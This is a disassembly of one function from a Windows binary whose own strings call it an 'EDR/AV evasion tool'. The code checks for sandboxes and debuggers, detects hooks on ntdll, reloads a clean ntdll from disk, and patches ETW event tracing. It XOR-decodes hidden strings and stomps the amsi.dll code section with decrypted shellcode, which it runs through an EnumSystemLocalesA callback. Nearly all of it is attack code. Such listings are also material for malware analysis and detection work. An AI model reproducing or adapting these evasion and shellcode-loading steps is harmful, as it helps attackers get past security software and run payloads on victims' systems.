Function at 0x140001bb0
Capabilities:
Contain obfuscated stackstrings
Get system information on windows

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x58]
sub rsp, 0x158
mov ecx, 0xfffffff5
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r15d, r15d
lea rdx, [rbp + 0x90]
mov rcx, rax
mov dword [rbp + 0x90], r15d
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rbp + 0x90]
mov rcx, rdi
or edx, 4
mov dword [rbp + 0x90], edx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea rcx, [0x1400211e8]
call fcn.140001010
lea rcx, str.e_0_31m____t_________tdP_____dP_dP_dP________dP_________88888888b__888888ba_____n
call fcn.140001010
lea rcx, str.e_0_31m_t_t_t88.d8_88_88________88_________88_________88_____8b_t_t__n
call fcn.140001010
lea rcx, str.e_0_31m_t_t_t88aaa8P__88_88________88________a88aaaa____a88aaaa8P____n
call fcn.140001010
lea rcx, str.e_0_31m_t_t_t88____8b._88_88________88_________88_________88____8b.____n
call fcn.140001010
lea rcx, str.e_0_31m_t_t_t88_____88_88_88________88_________88_________88_____88____n
call fcn.140001010
lea rcx, str.e_0_31m_t_t_tdP_____dP_dP_88888888P_88888888P__88888888P__dP_____dP____n
call fcn.140001010
lea rcx, str.e_0_32m_t_t_t_____Author___Hossam_Ehab___EDR_AV_evasion_tool_n
call fcn.140001010
lea rcx, [0x1400211e8]
call fcn.140001010
mov rcx, qword [rbx]
lea rdx, str.killer.exe
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x4c], r15d
call fcn.1400054b4
test rax, rax
jne 0x140001cac
lea rcx, str._te_0_31m_____e_0me_1mSandbox_detected___Filename_changed_:___n_ne_0m
call fcn.140001010
lea eax, [r15 - 2]
add rsp, 0x158
pop r15
pop rdi
pop rbx
pop rbp
ret
mov ecx, 0xb600000
mov qword [rsp + 0x180], rsi
call fcn.140009998
mov rsi, rax
test rax, rax
jne 0x140001cce
lea eax, [rsi + 1]
jmp 0x1400028c2
mov qword [rsp + 0x150], r12
mov rdi, rsi
mov qword [rsp + 0x148], r13
xor eax, eax
mov ecx, 0xb600000
mov qword [rsp + 0x140], r14
lea r14, [0x140025ae8]
mov rdx, r15
rep stosb byte [rdi], al
nop dword [rax]
movzx ecx, byte [rdx + r14]
test cl, cl
je 0x140001d1a
movsx eax, cl
cmp eax, 0xb6
je 0x140001d1a
xor cl, 0xb6
mov byte [rdx + r14], cl
movzx ecx, byte [rdx + r14 + 1]
test cl, cl
je 0x140001d36
movsx eax, cl
cmp eax, 0xb6
je 0x140001d36
xor cl, 0xb6
mov byte [rdx + r14 + 1], cl
movzx ecx, byte [rdx + r14 + 2]
test cl, cl
je 0x140001d52
movsx eax, cl
cmp eax, 0xb6
je 0x140001d52
xor cl, 0xb6
mov byte [rdx + r14 + 2], cl
movzx ecx, byte [rdx + r14 + 3]
test cl, cl
je 0x140001d6e
movsx eax, cl
cmp eax, 0xb6
je 0x140001d6e
xor cl, 0xb6
mov byte [rdx + r14 + 3], cl
movzx ecx, byte [rdx + r14 + 4]
test cl, cl
je 0x140001d8a
movsx eax, cl
cmp eax, 0xb6
je 0x140001d8a
xor cl, 0xb6
mov byte [rdx + r14 + 4], cl
movzx ecx, byte [rdx + r14 + 5]
test cl, cl
je 0x140001da6
movsx eax, cl
cmp eax, 0xb6
je 0x140001da6
xor cl, 0xb6
mov byte [rdx + r14 + 5], cl
add rdx, 6
cmp rdx, 0xc
jl 0x140001d00
movzx ecx, byte [0x140025b50]
test cl, cl
je 0x140001dd2
movsx eax, cl
cmp eax, 0xb6
je 0x140001dd2
xor cl, 0xb6
mov byte [0x140025b50], cl
movzx ecx, byte [0x140025b51]
test cl, cl
je 0x140001df0
movsx eax, cl
cmp eax, 0xb6
je 0x140001df0
xor cl, 0xb6
mov byte [0x140025b51], cl
movzx ecx, byte [0x140025b52]
test cl, cl
je 0x140001e0e
movsx eax, cl
cmp eax, 0xb6
je 0x140001e0e
xor cl, 0xb6
mov byte [0x140025b52], cl
movzx ecx, byte [0x140025b53]
test cl, cl
je 0x140001e2c
movsx eax, cl
cmp eax, 0xb6
je 0x140001e2c
xor cl, 0xb6
mov byte [0x140025b53], cl
movzx ecx, byte [0x140025b54]
test cl, cl
je 0x140001e4a
movsx eax, cl
cmp eax, 0xb6
je 0x140001e4a
xor cl, 0xb6
mov byte [0x140025b54], cl
movzx ecx, byte [0x140025b55]
test cl, cl
je 0x140001e68
movsx eax, cl
cmp eax, 0xb6
je 0x140001e68
xor cl, 0xb6
mov byte [0x140025b55], cl
movzx ecx, byte [0x140025b56]
test cl, cl
je 0x140001e86
movsx eax, cl
cmp eax, 0xb6
je 0x140001e86
xor cl, 0xb6
mov byte [0x140025b56], cl
movzx ecx, byte [0x140025b57]
test cl, cl
je 0x140001ea4
movsx eax, cl
cmp eax, 0xb6
je 0x140001ea4
xor cl, 0xb6
mov byte [0x140025b57], cl
lea rcx, [0x140025b50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
or rdi, 0xffffffffffffffff
mov qword [rbp + 0x90], rax
mov r8, rdi
mov rbx, rax
inc r8
cmp byte [r14 + r8], r15b
jne 0x140001ec2
inc r8
lea rcx, [rbp - 0x28]
mov rdx, r14
call fcn.140006df4
lea rcx, [rbp - 0x28]
call fcn.140001120
mov rcx, rsi
mov r12, rax
call fcn.1400093f8
movsxd r14, dword [rbx + 0x3c]
mov esi, r15d
add r14, rbx
nop dword [rax + rax]
movsxd rcx, esi
inc esi
lea rdx, [rcx + rcx*4]
movzx ecx, word [r14 + 0x14]
add rcx, r14
lea rbx, [rcx + rdx*8]
lea rdx, [rbx + 0x18]
lea rcx, str.e_0_34m____e_0me_1mTry_to_find_.text_section__sec_name__s_ne_0m
call fcn.140001010
mov r8d, 5
lea rdx, str..text
lea rcx, [rbx + 0x18]
call fcn.140009090
test eax, eax
jne 0x140001f00
mov r13d, dword [rbx + 0x24]
add r13, qword [rbp + 0x90]
mov qword [rbp - 0x48], r13
call fcn.140001450
movzx r10d, byte [0x140025bb0]
test r10b, r10b
je 0x140001f76
movsx eax, r10b
cmp eax, 0xb6
je 0x140001f76
xor r10b, 0xb6
mov byte [0x140025bb0], r10b
movzx ecx, byte [0x140025bb1]
test cl, cl
je 0x140001f94
movsx eax, cl
cmp eax, 0xb6
je 0x140001f94
xor cl, 0xb6
mov byte [0x140025bb1], cl
movzx ecx, byte [0x140025bb2]
test cl, cl
je 0x140001fb2
movsx eax, cl
cmp eax, 0xb6
je 0x140001fb2
xor cl, 0xb6
mov byte [0x140025bb2], cl
movzx ecx, byte [0x140025bb3]
test cl, cl
je 0x140001fd0
movsx eax, cl
cmp eax, 0xb6
je 0x140001fd0
xor cl, 0xb6
mov byte [0x140025bb3], cl
movzx ecx, byte [0x140025bb4]
test cl, cl
je 0x140001fee
movsx eax, cl
cmp eax, 0xb6
je 0x140001fee
xor cl, 0xb6
mov byte [0x140025bb4], cl
movzx ecx, byte [0x140025bb5]
test cl, cl
je 0x14000200c
movsx eax, cl
cmp eax, 0xb6
je 0x14000200c
xor cl, 0xb6
mov byte [0x140025bb5], cl
movzx ecx, byte [0x140025bb6]
test cl, cl
je 0x14000202a
movsx eax, cl
cmp eax, 0xb6
je 0x14000202a
xor cl, 0xb6
mov byte [0x140025bb6], cl
movzx ecx, byte [0x140025bb7]
test cl, cl
je 0x140002048
movsx eax, cl
cmp eax, 0xb6
je 0x140002048
xor cl, 0xb6
mov byte [0x140025bb7], cl
movzx ecx, byte [0x140025bb8]
test cl, cl
je 0x140002066
movsx eax, cl
cmp eax, 0xb6
je 0x140002066
xor cl, 0xb6
mov byte [0x140025bb8], cl
lea rcx, str.e_0_34m____e_0me_1mCopy_ntdll_to_a_fresh_memory_allocation_and_overwrite_calls_adresses__Detecting_ntdll_hooking_:__n_ne_0m
call fcn.140001010
lea rdx, [0x140025bb0]
mov ebx, r15d
nop dword [rax]
cmp byte [rdx + rdi + 1], bl
lea rdi, [rdi + 1]
jne 0x140002080
lea r8, [rdi + 1]
lea rcx, [rbp - 0x70]
call fcn.140006df4
lea rcx, [rbp - 0x70]
call fcn.140001120
mov rcx, rax
lea rdx, [0x140025b38]
call fcn.140001070
mov rcx, rax
call fcn.1400012f0
test eax, eax
je 0x1400020ce
lea rcx, str._te_0_31m_____e_0me_1m_NtAllocateVirtualMemory_is_Hooked_n_ne_0m
call fcn.140001010
mov ebx, 1
jmp 0x1400020da
lea rcx, str._te_0_32m___e_0me_1m_NtAllocateVirtualMemory_Not_Hooked_ne_0m
call fcn.140001010
lea rcx, [rbp - 0x70]
call fcn.140001120
mov rcx, rax
lea rdx, [0x140025b10]
call fcn.140001070
mov rcx, rax
call fcn.1400012f0
test eax, eax
je 0x14000210e
lea rcx, str._te_0_31m_____e_0me_1m_NtProtectVirtualMemory_is_Hooked_n_ne_0m
call fcn.140001010
inc ebx
jmp 0x14000211a
lea rcx, str._te_0_32m___e_0me_1m_NtProtectVirtualMemory_Not_Hooked_ne_0m
call fcn.140001010
lea rcx, [rbp - 0x70]
call fcn.140001120
mov rcx, rax
lea rdx, [0x140025af8]
call fcn.140001070
mov rcx, rax
call fcn.1400012f0
test eax, eax
je 0x14000214e
lea rcx, str._te_0_31m_____e_0me_1m_NtCreateThreadEx_is_Hooked_n_ne_0m
call fcn.140001010
inc ebx
jmp 0x14000215a
lea rcx, str._te_0_32m___e_0me_1m_NtCreateThreadEx_Not_Hooked_ne_0m
call fcn.140001010
lea rcx, [rbp - 0x70]
call fcn.140001120
mov rcx, rax
lea rdx, [0x140025a88]
call fcn.140001070
mov rcx, rax
call fcn.1400012f0
test eax, eax
je 0x14000218e
lea rcx, str._te_0_31m_____e_0me_1m_NtQueryInformationThread_Hooked_n_ne_0m
call fcn.140001010
inc ebx
jmp 0x14000219a
lea rcx, str._te_0_32m___e_0me_1m_NtQueryInformationThread_Not_Hooked_n_ne_0m
call fcn.140001010
call fcn.1400018d0
test r12, r12
je 0x140002247
lea rdx, [0x140025a78]
mov rcx, r12
call fcn.140001070
lea rdx, [0x140025aa8]
mov qword [0x140026f30], rax
mov rcx, r12
call fcn.140001070
lea rdx, [0x140025a50]
mov qword [0x140026f10], rax
mov rcx, r12
mov rdi, rax
call fcn.140001070
lea rdx, [0x140025b78]
mov qword [0x140026f18], rax
mov rcx, r12
call fcn.140001070
lea rdx, [0x140025b98]
mov qword [0x140026f08], rax
mov rcx, r12
call fcn.140001070
lea rdx, [0x140025b28]
mov qword [0x140026f28], rax
mov rcx, r12
call fcn.140001070
lea rdx, [0x140025ad0]
mov qword [0x140026f20], rax
mov rcx, r12
call fcn.140001070
mov qword [0x140026f00], rax
jmp 0x14000224e
mov rdi, qword [0x140026f10]
mov qword [rsp + 0x30], r15
lea rcx, [0x140025ae8]
mov dword [rsp + 0x28], 1
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call rdi
cmp rax, 0xffffffffffffffff
je 0x140002289
lea rcx, str._te_0_31m_____e_0me_1mThe_nonexistent_file_is_detected_____trying_to_exit_ne_0m
jmp 0x1400028a0
cmp qword [0x140026f30], r15
je 0x140002899
cmp qword [0x140026f10], r15
je 0x140002899
cmp qword [0x140026f18], r15
je 0x140002899
cmp qword [0x140026f08], r15
je 0x140002899
cmp qword [0x140026f00], r15
je 0x140002899
cmp qword [0x140026f28], r15
je 0x140002899
cmp qword [0x140026f20], r15
je 0x140002899
call fcn.140001720
test eax, eax
je 0x140002303
lea rcx, str._te_0_31m_____e_0me_1mNUMA_memory_allocate_failed_:___n_ne_0m
call fcn.140001010
mov eax, 0xfffffffe
jmp 0x1400028aa
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp - 0x80], 2
jb 0x140002886
lea rcx, [rbp]
mov dword [rbp], 0x40
call qword [0x140026f28]
mov rax, qword [rbp + 8]
shr rax, 0x1e
cmp eax, 2
jb 0x140002886
lea rcx, str.e_0_32m____e_0me_1mSandbox_rounds_finished_no_sandbox_detected____ne_0m
call fcn.140001010
call qword [0x140026f18]
mov rcx, rax
lea rdx, [rsp + 0x4c]
call qword [0x140026f08]
test eax, eax
je 0x1400028a5
cmp dword [rsp + 0x4c], r15d
jne 0x1400028a5
lea rcx, str.e_0_32m____e_0me_1mDebugger_is_not_attach_ne_0m
call fcn.140001010
test ebx, ebx
je 0x1400025f8
movdqa xmm0, xmmword [str.C:WindowsSyste]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x5c32336d
mov dword [rsp + 0x74], 0x6c64746e
mov dword [rsp + 0x78], 0x6c642e6c
mov word [rsp + 0x7c], 0x6c
mov dword [rsp + 0x40], 0x7865742e
mov word [rsp + 0x44], 0x74
call qword [0x140026f18]
mov rdi, rax
lea rcx, [rbp - 0x70]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
call fcn.140001120
mov r9d, 0x18
lea r8, [rbp - 0x40]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r12, qword [rbp - 0x40]
lea rcx, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [0x140026f10]
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], r15d
xor edx, edx
mov r8d, 0x1000002
call qword [0x140026f00]
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [0x140026f20]
movsxd r14, dword [r12 + 0x3c]
movzx esi, r15w
add r14, r12
cmp r15w, word [r14 + 6]
jae 0x140002511
mov r13, rax
movzx ecx, word [r14 + 0x14]
lea rdi, [rsp + 0x40]
movzx eax, si
add rcx, r14
lea rbx, [rax*4 + 3]
add rbx, rax
lea rbx, [rcx + rbx*8]
mov rax, rbx
sub rdi, rbx
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x1400024a7
inc rax
test ecx, ecx
jne 0x140002495
test edx, edx
jne 0x1400024ff
mov ecx, dword [rbx + 0xc]
lea r9, [rbp + 0x90]
mov edx, dword [rbx + 8]
add rcx, r12
mov r8d, 0x40
mov dword [rbp + 0x90], r15d
call qword [0x140026f30]
mov eax, dword [rbx + 0xc]
mov r8d, dword [rbx + 8]
lea rdx, [rax + r13]
lea rcx, [rax + r12]
call fcn.140003be0
mov ecx, dword [rbx + 0xc]
lea r9, [rbp + 0x90]
mov edx, dword [rbx + 8]
add rcx, r12
mov r8d, dword [rbp + 0x90]
call qword [0x140026f30]
inc si
cmp si, word [r14 + 6]
jb 0x140002470
mov r13, qword [rbp - 0x48]
lea rcx, str._n___Detecting_hooks_in_new_ntdll_module_n
call fcn.140001010
lea rcx, [rbp - 0x70]
call fcn.140001120
mov rcx, rax
lea rdx, [0x140025b38]
call fcn.140001070
mov rcx, rax
call fcn.1400012f0
lea rcx, str._te_0_31m_____e_0me_1m_NtAllocateVirtualMemory_Hooked_n_ne_0m
test eax, eax
jne 0x14000254f
lea rcx, str._te_0_32m___e_0me_1m_NtAllocateVirtualMemory_Not_Hooked_n_ne_0m
call fcn.140001010
lea rcx, [rbp - 0x70]
call fcn.140001120
mov rcx, rax
lea rdx, [0x140025b10]
call fcn.140001070
mov rcx, rax
call fcn.1400012f0
lea rcx, str._te_0_31m_____e_0me_1m_NtProtectVirtualMemory_Hooked_n_ne_0m
test eax, eax
jne 0x140002586
lea rcx, str._te_0_32m___e_0me_1m_NtProtectVirtualMemory_Not_Hooked_n_ne_0m
call fcn.140001010
lea rcx, [rbp - 0x70]
call fcn.140001120
mov rcx, rax
lea rdx, [0x140025af8]
call fcn.140001070
mov rcx, rax
call fcn.1400012f0
lea rcx, str._te_0_31m_____e_0me_1m_NtCreateThreadEx_is_Hooked_n_ne_0m
test eax, eax
jne 0x1400025bd
lea rcx, str._te_0_32m___e_0me_1m_NtCreateThreadEx_Not_Hooked_n_ne_0m
call fcn.140001010
lea rcx, [rbp - 0x70]
call fcn.140001120
mov rcx, rax
lea rdx, [0x140025a88]
call fcn.140001070
mov rcx, rax
call fcn.1400012f0
test eax, eax
je 0x1400025ef
lea rcx, str._te_0_31m_____e_0me_1m_NtQueryInformationThread_Hooked_n_ne_0m
jmp 0x1400025ff
lea rcx, str._te_0_32m___e_0me_1mNtQueryInformationThread_Not_Hooked_n_ne_0m
jmp 0x1400025ff
lea rcx, str.e_0_34m____e_0me_1mNo_hooked_modules_to_unhook_it__ne_0m
call fcn.140001010
lea rcx, [rbp - 0x70]
call fcn.140001120
lea rdx, [0x140025b60]
mov rcx, rax
mov rdi, rax
call fcn.140001070
lea rdx, [0x140025b10]
mov rcx, rdi
mov rsi, rax
call fcn.140001070
lea rcx, str.e_0_32m____e_0me_1mPatching_ETW_Event_Tracing_for_Windows_writer_ne_0m
mov rbx, rax
call fcn.140001010
mov r8, r15
lea r14, [0x140025a68]
nop word [rax + rax]
movzx edi, byte [r8 + r14]
test dil, dil
je 0x14000266e
movsx ecx, dil
cmp ecx, 0xb6
je 0x14000266e
xor dil, 0xb6
mov byte [r8 + r14], dil
inc r8
cmp r8, 0xd
jl 0x140002650
lea rcx, [rbp - 0x70]
call fcn.140001120
mov rcx, rax
mov rdx, r14
call fcn.140001070
mov rdi, rax
mov qword [rsp + 0x58], rax
mov byte [rbp + 0x88], 0xc3
mov dword [rbp + 0x98], r15d
mov qword [rsp + 0x50], 0x1000
call qword [0x140026f18]
mov r9d, 4
lea r8, [rsp + 0x50]
mov rcx, rax
lea rdx, [rsp + 0x58]
lea rax, [rbp + 0x98]
mov qword [rsp + 0x20], rax
call rbx
call qword [0x140026f18]
mov r9d, 1
mov qword [rsp + 0x20], r15
mov rcx, rax
lea r8, [rbp + 0x88]
mov rdx, rdi
call rsi
call qword [0x140026f18]
mov r9d, dword [rbp + 0x98]
lea r8, [rsp + 0x50]
mov rcx, rax
lea rdx, [rsp + 0x58]
lea rax, [rbp + 0x98]
mov qword [rsp + 0x20], rax
call rbx
lea rcx, str.e_0_34m____e_0me_1mETW_patched___ne_0m
call fcn.140001010
mov rdx, r13
lea rcx, str.e_0_34m____e_0me_1mamsi.dll_.text_address__0x_p_ne_0m
call fcn.140001010
lea rcx, str.e_0_32m____e_0me_1mconverting_protection_to_RW_in_ntdll_ne_0m
call fcn.140001010
lea r9, [rsp + 0x48]
mov edx, 0x1000
mov r8d, 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002841
lea rcx, str.e_0_32m____e_0me_1mmoving_the_payload_to_the_hollowed_memory_without_using_an_APIs_ne_0m
call fcn.140001010
lea rdi, [0x140021e10]
mov edx, r15d
sub rdi, r13
mov rcx, r13
nop dword [rax]
movzx eax, byte [rdi + rcx]
inc edx
mov byte [rcx], al
inc rcx
cmp edx, 0x114
jb 0x140002780
mov rdx, r15
lea rdi, [0x140025ab8]
nop dword [rax]
movzx ecx, byte [rdx + rdi]
test cl, cl
je 0x1400027b8
movsx eax, cl
cmp eax, 0xb6
je 0x1400027b8
xor cl, 0xb6
mov byte [rdx + rdi], cl
inc rdx
cmp rdx, 0x17
jl 0x1400027a0
lea rdi, [r13 + 1]
mov r9d, 0x45
lea r8, [r13 + 0x112]
movzx eax, byte [rdi - 1]
lea rdi, [rdi + 2]
movzx ecx, byte [r8 + 1]
mov byte [r8 + 1], al
lea r8, [r8 - 2]
movzx eax, byte [rdi - 2]
mov byte [rdi - 3], cl
movzx ecx, byte [r8 + 2]
mov byte [r8 + 2], al
mov byte [rdi - 2], cl
sub r9, 1
jne 0x1400027d2
mov rcx, r13
call fcn.140001240
mov edx, 0x114
lea rcx, str.e_0_32m____e_0me_1mShellcode__key_Decrypted_after_stomping__Shellcode_length:__d_ne_0m
call fcn.140001010
lea rcx, str.e_0_34m____e_0me_1mRestoring_RX_permission_again_ne_0m
call fcn.140001010
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x48]
mov edx, 0x1000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000285c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._te_0_31m_____e_0me_1mFailed_to_converting_protection_to_RW___u__n_ne_0m
call fcn.140001010
mov eax, 0xfffffffe
jmp 0x1400028aa
lea rcx, str.e_0_32m____e_0me_1mHit_enter_to_run_shellcode_payload_without_creating_a_new_thread_ne_0m
call fcn.140001010
call fcn.140009564
mov edx, 2
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
test eax, eax
setne r15b
mov eax, r15d
jmp 0x1400028aa
lea rcx, str._te_0_31m_____e_0me_1mI_got_you_sandbox__its_cant_be_run_here_:__n_ne_0m
call fcn.140001010
mov eax, 0xfffffffe
jmp 0x1400028aa
lea rcx, str._te_0_31m_____e_0me_1mFailed_to_load_required_system_functions._ne_0m
call fcn.140001010
mov eax, 1
mov r13, qword [rsp + 0x148]
mov r12, qword [rsp + 0x150]
mov r14, qword [rsp + 0x140]
mov rsi, qword [rsp + 0x180]
add rsp, 0x158
pop r15
pop rdi
pop rbx
pop rbp
ret